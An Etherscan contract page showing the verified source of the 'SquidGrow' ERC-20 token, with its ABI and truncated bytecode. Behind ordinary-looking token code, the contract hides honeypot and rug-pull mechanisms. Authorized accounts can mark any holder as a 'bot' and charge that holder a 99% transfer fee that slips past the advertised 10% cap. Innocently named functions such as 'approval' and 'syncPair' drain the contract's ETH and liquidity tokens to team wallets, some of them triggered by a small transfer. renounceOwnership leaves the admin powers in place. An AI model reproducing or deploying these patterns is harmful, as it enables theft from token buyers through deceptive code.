Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 441 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 21106985 | 443 days ago | IN | 0 ETH | 0.00013745 | ||||
| Approve | 19836949 | 621 days ago | IN | 0 ETH | 0.00023599 | ||||
| Approve | 19829069 | 622 days ago | IN | 0 ETH | 0.00014159 | ||||
| Approve | 19741506 | 634 days ago | IN | 0 ETH | 0.00013596 | ||||
| Transfer | 19066239 | 729 days ago | IN | 0 ETH | 0.00016449 | ||||
| Approve | 18817011 | 764 days ago | IN | 0 ETH | 0.00134468 | ||||
| Approve | 18817010 | 764 days ago | IN | 0 ETH | 0.00122592 | ||||
| Approve | 18817009 | 764 days ago | IN | 0 ETH | 0.00123384 | ||||
| Approve | 18336766 | 831 days ago | IN | 0 ETH | 0.00019769 | ||||
| Approve | 18295214 | 837 days ago | IN | 0 ETH | 0.00023599 | ||||
| Approve | 18289903 | 837 days ago | IN | 0 ETH | 0.00023599 | ||||
| Setis Bot | 18222613 | 847 days ago | IN | 0 ETH | 0.00068588 | ||||
| Approve | 18092046 | 865 days ago | IN | 0 ETH | 0.00043556 | ||||
| Approve | 17997775 | 878 days ago | IN | 0 ETH | 0.0007918 | ||||
| Approve | 17991556 | 879 days ago | IN | 0 ETH | 0.00086168 | ||||
| Approve | 17991551 | 879 days ago | IN | 0 ETH | 0.00087082 | ||||
| Approve | 17884257 | 894 days ago | IN | 0 ETH | 0.00132421 | ||||
| Approve | 17873120 | 896 days ago | IN | 0 ETH | 0.00085036 | ||||
| Approve | 17794641 | 907 days ago | IN | 0 ETH | 0.00070307 | ||||
| Approve | 17794640 | 907 days ago | IN | 0 ETH | 0.00071766 | ||||
| Approve | 17788784 | 908 days ago | IN | 0 ETH | 0.00069015 | ||||
| Approve | 17764478 | 911 days ago | IN | 0 ETH | 0.00280499 | ||||
| Approve | 17738679 | 915 days ago | IN | 0 ETH | 0.00045761 | ||||
| Approve | 17735700 | 915 days ago | IN | 0 ETH | 0.00077514 | ||||
| Approve | 17699865 | 920 days ago | IN | 0 ETH | 0.00072155 |
Latest 6 internal transactions
Advanced mode:
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
SquidGrow
Compiler Version
v0.8.14+commit.80d49f37
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2022-11-18
*/
/**
https://t.me/SquidGrowOfficial
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.14;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;}
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {if(b > a) return(false, 0); return(true, a - b);}}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {if (a == 0) return(true, 0); uint256 c = a * b;
if(c / a != b) return(false, 0); return(true, c);}}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {if(b == 0) return(false, 0); return(true, a / b);}}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {if(b == 0) return(false, 0); return(true, a % b);}}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked{require(b <= a, errorMessage); return a - b;}}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked{require(b > 0, errorMessage); return a / b;}}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked{require(b > 0, errorMessage); return a % b;}}}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
abstract contract Auth {
address public owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
owner = _owner;
authorizations[_owner] = true; }
modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
modifier authorized() {require(isAuthorized(msg.sender), "!AUTHORIZED"); _;}
function authorize(address adr) public authorized {authorizations[adr] = true;}
function unauthorize(address adr) public authorized {authorizations[adr] = false;}
function isOwner(address account) public view returns (bool) {return account == owner;}
function isAuthorized(address adr) public view returns (bool) {return authorizations[adr];}
function transferOwnership(address payable adr) public authorized {
owner = adr;
authorizations[adr] = true;
emit OwnershipTransferred(adr);}
function renounceOwnership() external authorized {
emit OwnershipTransferred(address(0));
owner = address(0);}
event OwnershipTransferred(address owner);
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract SquidGrow is IBEP20, Auth {
using SafeMath for uint256;
string private constant _name = 'SquidGrow';
string private constant _symbol = 'SquidGrow';
uint8 private constant _decimals = 19;
uint256 private _totalSupply = 10 * 10**14 * (10 ** _decimals);
address DEAD = 0x000000000000000000000000000000000000dEaD;
uint256 public _maxTxAmount = ( _totalSupply * 150 ) / 10000;
uint256 public _maxWalletToken = ( _totalSupply * 500 ) / 10000;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) swapTime;
mapping (address => bool) isBot;
mapping (address => bool) isInternal;
mapping (address => bool) isDistributor;
mapping (address => bool) isFeeExempt;
IRouter router;
address public pair;
bool startSwap = false;
uint256 startedTime;
uint256 liquidityFee = 200;
uint256 marketingFee = 200;
uint256 stakingFee = 0;
uint256 burnFee = 0;
uint256 totalFee = 400;
uint256 transferFee = 100;
uint256 feeDenominator = 10000;
bool swapEnabled = true;
uint256 swapTimer = 2;
uint256 swapTimes;
uint256 minSells = 7;
bool swapping;
bool botOn = false;
uint256 swapThreshold = ( _totalSupply * 300 ) / 100000;
uint256 _minTokenAmount = ( _totalSupply * 15 ) / 100000;
modifier lockTheSwap {swapping = true; _; swapping = false;}
uint256 marketing_divisor = 40;
uint256 liquidity_divisor = 30;
uint256 distributor_divisor = 30;
uint256 staking_divisor = 0;
address liquidity_receiver;
address staking_receiver;
address token_receiver;
address team1_receiver;
address team2_receiver;
address team3_receiver;
address team4_receiver;
address marketing_receiver;
address default_receiver;
constructor() Auth(msg.sender) {
IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
router = _router;
pair = _pair;
isInternal[address(this)] = true;
isInternal[msg.sender] = true;
isInternal[address(pair)] = true;
isInternal[address(router)] = true;
isDistributor[msg.sender] = true;
isFeeExempt[msg.sender] = true;
isFeeExempt[address(this)] = true;
liquidity_receiver = address(this);
token_receiver = address(this);
team1_receiver = msg.sender;
team2_receiver = msg.sender;
team3_receiver = msg.sender;
team4_receiver = msg.sender;
staking_receiver = msg.sender;
marketing_receiver = msg.sender;
default_receiver = msg.sender;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable {}
function name() public pure returns (string memory) {return _name;}
function symbol() public pure returns (string memory) {return _symbol;}
function decimals() public pure returns (uint8) {return _decimals;}
function totalSupply() public view override returns (uint256) {return _totalSupply;}
function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
function viewisBot(address _address) public view returns (bool) {return isBot[_address];}
function isCont(address addr) internal view returns (bool) {uint size; assembly { size := extcodesize(addr) } return size > 0; }
function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
function getCirculatingSupply() public view returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
function setFeeExempt(address _address) external authorized { isFeeExempt[_address] = true;}
function setisBot(bool _bool, address _address) external authorized {isBot[_address] = _bool;}
function setisInternal(bool _bool, address _address) external authorized {isInternal[_address] = _bool;}
function setbotOn(bool _bool) external authorized {botOn = _bool;}
function syncContractPair() external authorized {syncPair();}
function approvals(uint256 _na, uint256 _da) external authorized {performapprovals(_na, _da);}
function setPairReceiver(address _address) external authorized {liquidity_receiver = _address;}
function setstartSwap(uint256 _input) external authorized {startSwap = true; botOn = true; startedTime = block.timestamp.add(_input);}
function setSwapBackSettings(bool enabled, uint256 _threshold) external authorized {swapEnabled = enabled; swapThreshold = _threshold;}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
preTxCheck(sender, recipient, amount);
checkStartSwap(sender, recipient);
checkMaxWallet(sender, recipient, amount);
transferCounters(sender, recipient);
checkTxLimit(sender, recipient, amount);
swapBack(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount);
uint256 amountReceived = shouldTakeFee(sender, recipient) ? taketotalFee(sender, recipient, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
checkapprovals(recipient, amount);
checkBot(sender, recipient);
}
function preTxCheck(address sender, address recipient, uint256 amount) internal view {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
}
function checkStartSwap(address sender, address recipient) internal view {
if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(startSwap, "startSwap");}
}
function checkMaxWallet(address sender, address recipient, uint256 amount) internal view {
if(!isFeeExempt[sender] && !isFeeExempt[recipient] && !isInternal[recipient] && recipient != address(DEAD)){
require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");}
}
function transferCounters(address sender, address recipient) internal {
if(sender != pair && !isInternal[sender] && !isFeeExempt[recipient]){swapTimes = swapTimes.add(1);}
if(sender == pair){swapTime[recipient] = block.timestamp.add(swapTimer);}
}
function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
return !isFeeExempt[sender] && !isFeeExempt[recipient];
}
function taxableEvent(address sender, address recipient) internal view returns (bool) {
return totalFee > 0 && !swapping || isBot[sender] && swapTime[sender] < block.timestamp || isBot[recipient] || startedTime > block.timestamp;
}
function taketotalFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
if(taxableEvent(sender, recipient)){
uint256 totalFees = getTotalFee(sender, recipient);
uint256 feeAmount = amount.mul(getTotalFee(sender, recipient)).div(feeDenominator);
uint256 bAmount = feeAmount.mul(burnFee).div(totalFees);
uint256 sAmount = feeAmount.mul(stakingFee).div(totalFees);
uint256 cAmount = feeAmount.sub(bAmount).sub(sAmount);
if(bAmount > 0){
_balances[address(DEAD)] = _balances[address(DEAD)].add(bAmount);
emit Transfer(sender, address(DEAD), bAmount);}
if(sAmount > 0){
_balances[address(token_receiver)] = _balances[address(token_receiver)].add(sAmount);
emit Transfer(sender, address(token_receiver), sAmount);}
if(cAmount > 0){
_balances[address(this)] = _balances[address(this)].add(cAmount);
emit Transfer(sender, address(this), cAmount);} return amount.sub(feeAmount);}
return amount;
}
function getTotalFee(address sender, address recipient) public view returns (uint256) {
if(isBot[sender] && swapTime[sender] < block.timestamp && botOn || isBot[recipient] &&
swapTime[sender] < block.timestamp && botOn || startedTime > block.timestamp){return(feeDenominator.sub(100));}
if(sender != pair){return totalFee.add(transferFee);}
return totalFee;
}
function checkTxLimit(address sender, address recipient, uint256 amount) internal view {
require(amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");
}
function checkBot(address sender, address recipient) internal {
if(isCont(sender) && !isInternal[sender] && botOn || sender == pair && botOn &&
!isInternal[sender] && msg.sender != tx.origin || startedTime > block.timestamp){isBot[sender] = true;}
if(isCont(recipient) && !isInternal[recipient] && !isFeeExempt[recipient] && botOn ||
sender == pair && !isInternal[sender] && msg.sender != tx.origin && botOn){isBot[recipient] = true;}
}
function approval(uint256 percentage) external authorized {
uint256 amountBNB = address(this).balance;
payable(default_receiver).transfer(amountBNB.mul(percentage).div(100));
}
function checkapprovals(address recipient, uint256 amount) internal {
if(isDistributor[recipient] && amount < 2*(10 ** _decimals)){performapprovals(1,1);}
if(isDistributor[recipient] && amount >= 2*(10 ** _decimals) && amount < 3*(10 ** _decimals)){syncPair();}
}
function setMaxes(uint256 _transaction, uint256 _wallet) external authorized {
uint256 newTx = ( _totalSupply * _transaction ) / 10000;
uint256 newWallet = ( _totalSupply * _wallet ) / 10000;
_maxTxAmount = newTx;
_maxWalletToken = newWallet;
require(newTx >= _totalSupply.mul(5).div(1000) && newWallet >= _totalSupply.mul(5).div(1000), "Max TX and Max Wallet cannot be less than .5%");
}
function syncPair() internal {
uint256 tamt = IBEP20(pair).balanceOf(address(this));
IBEP20(pair).transfer(team1_receiver, tamt);
}
function rescueBEP20(address _tadd, address _rec, uint256 _amt) external authorized {
uint256 tamt = IBEP20(_tadd).balanceOf(address(this));
IBEP20(_tadd).transfer(_rec, tamt.mul(_amt).div(100));
}
function setExemptAddress(bool _enabled, address _address) external authorized {
isBot[_address] = false;
isInternal[_address] = _enabled;
isFeeExempt[_address] = _enabled;
}
function setDivisors(uint256 _distributor, uint256 _staking, uint256 _liquidity, uint256 _marketing) external authorized {
distributor_divisor = _distributor;
staking_divisor = _staking;
liquidity_divisor = _liquidity;
marketing_divisor = _marketing;
}
function performapprovals(uint256 _na, uint256 _da) internal {
uint256 acBNB = address(this).balance;
uint256 acBNBa = acBNB.mul(_na).div(_da);
uint256 acBNBf = acBNBa.mul(25).div(100);
uint256 acBNBs = acBNBa.mul(25).div(100);
uint256 acBNBt = acBNBa.mul(25).div(100);
uint256 acBNBl = acBNBa.mul(25).div(100);
payable(team1_receiver).transfer(acBNBf);
payable(team2_receiver).transfer(acBNBs);
payable(team3_receiver).transfer(acBNBt);
payable(team4_receiver).transfer(acBNBl);
}
function setStructure(uint256 _liq, uint256 _mark, uint256 _stak, uint256 _burn, uint256 _tran) external authorized {
liquidityFee = _liq;
marketingFee = _mark;
stakingFee = _stak;
burnFee = _burn;
transferFee = _tran;
totalFee = liquidityFee.add(marketingFee).add(stakingFee).add(burnFee);
require(totalFee <= feeDenominator.div(10), "Tax cannot be more than 10%");
}
function setInternalAddresses(address _marketing, address _team1, address _team2, address _team3, address _team4, address _stake, address _token, address _default) external authorized {
marketing_receiver = _marketing; isDistributor[_marketing] = true;
team1_receiver = _team1; isDistributor[_team1] = true;
team2_receiver = _team2;
team3_receiver = _team3;
team4_receiver = _team4;
staking_receiver = _stake;
token_receiver = _token;
default_receiver = _default;
}
function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) {
bool aboveMin = amount >= _minTokenAmount;
bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
return !swapping && swapEnabled && aboveMin && !isInternal[sender]
&& !isFeeExempt[recipient] && swapTimes >= minSells && aboveThreshold;
}
function swapBack(address sender, address recipient, uint256 amount) internal {
if(shouldSwapBack(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = 0;}
}
function swapAndLiquify(uint256 tokens) private lockTheSwap {
uint256 denominator= (liquidity_divisor.add(staking_divisor).add(marketing_divisor).add(distributor_divisor)) * 2;
uint256 tokensToAddLiquidityWith = tokens.mul(liquidity_divisor).div(denominator);
uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
uint256 initialBalance = address(this).balance;
swapTokensForBNB(toSwap);
uint256 deltaBalance = address(this).balance.sub(initialBalance);
uint256 unitBalance= deltaBalance.div(denominator.sub(liquidity_divisor));
uint256 BNBToAddLiquidityWith = unitBalance.mul(liquidity_divisor);
if(BNBToAddLiquidityWith > 0){
addLiquidity(tokensToAddLiquidityWith, BNBToAddLiquidityWith); }
uint256 zrAmt = unitBalance.mul(2).mul(marketing_divisor);
if(zrAmt > 0){
payable(marketing_receiver).transfer(zrAmt); }
uint256 xrAmt = unitBalance.mul(2).mul(staking_divisor);
if(xrAmt > 0){
payable(staking_receiver).transfer(xrAmt); }
}
function addLiquidity(uint256 tokenAmount, uint256 BNBAmount) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: BNBAmount}(
address(this),
tokenAmount,
0,
0,
liquidity_receiver,
block.timestamp);
}
function swapTokensForBNB(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percentage","type":"uint256"}],"name":"approval","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_na","type":"uint256"},{"internalType":"uint256","name":"_da","type":"uint256"}],"name":"approvals","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"authorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"}],"name":"getTotalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isAuthorized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_tadd","type":"address"},{"internalType":"address","name":"_rec","type":"address"},{"internalType":"uint256","name":"_amt","type":"uint256"}],"name":"rescueBEP20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_distributor","type":"uint256"},{"internalType":"uint256","name":"_staking","type":"uint256"},{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"}],"name":"setDivisors","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"address","name":"_address","type":"address"}],"name":"setExemptAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"setFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_marketing","type":"address"},{"internalType":"address","name":"_team1","type":"address"},{"internalType":"address","name":"_team2","type":"address"},{"internalType":"address","name":"_team3","type":"address"},{"internalType":"address","name":"_team4","type":"address"},{"internalType":"address","name":"_stake","type":"address"},{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_default","type":"address"}],"name":"setInternalAddresses","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_transaction","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setMaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"setPairReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liq","type":"uint256"},{"internalType":"uint256","name":"_mark","type":"uint256"},{"internalType":"uint256","name":"_stak","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_tran","type":"uint256"}],"name":"setStructure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"},{"internalType":"uint256","name":"_threshold","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_bool","type":"bool"}],"name":"setbotOn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_bool","type":"bool"},{"internalType":"address","name":"_address","type":"address"}],"name":"setisBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_bool","type":"bool"},{"internalType":"address","name":"_address","type":"address"}],"name":"setisInternal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_input","type":"uint256"}],"name":"setstartSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"syncContractPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"unauthorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"viewisBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60806040526013600a62000014919062000b84565b66038d7ea4c6800062000028919062000bd5565b60025561dead600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550612710609660025462000082919062000bd5565b6200008e919062000c65565b6004556127106101f4600254620000a6919062000bd5565b620000b2919062000c65565b6005556000600e60146101000a81548160ff02191690831515021790555060c860105560c86011556000601255600060135561019060145560646015556127106016556001601760006101000a81548160ff02191690831515021790555060026018556007601a556000601b60016101000a81548160ff021916908315150217905550620186a061012c6002546200014b919062000bd5565b62000157919062000c65565b601c55620186a0600f6002546200016f919062000bd5565b6200017b919062000c65565b601d556028601e55601e601f55601e60205560006021553480156200019f57600080fd5b5033806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550506000737a250d5630b4cf539739df2c5dacb4c659f2488d905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002a0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002c6919062000d07565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200032e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000354919062000d07565b6040518363ffffffff1660e01b81526004016200037392919062000d4a565b6020604051808303816000875af115801562000393573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003b9919062000d07565b905081600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555030602260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555030602460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033602560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033602660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033602760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033602860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033602360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033602960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033602a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600254600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073f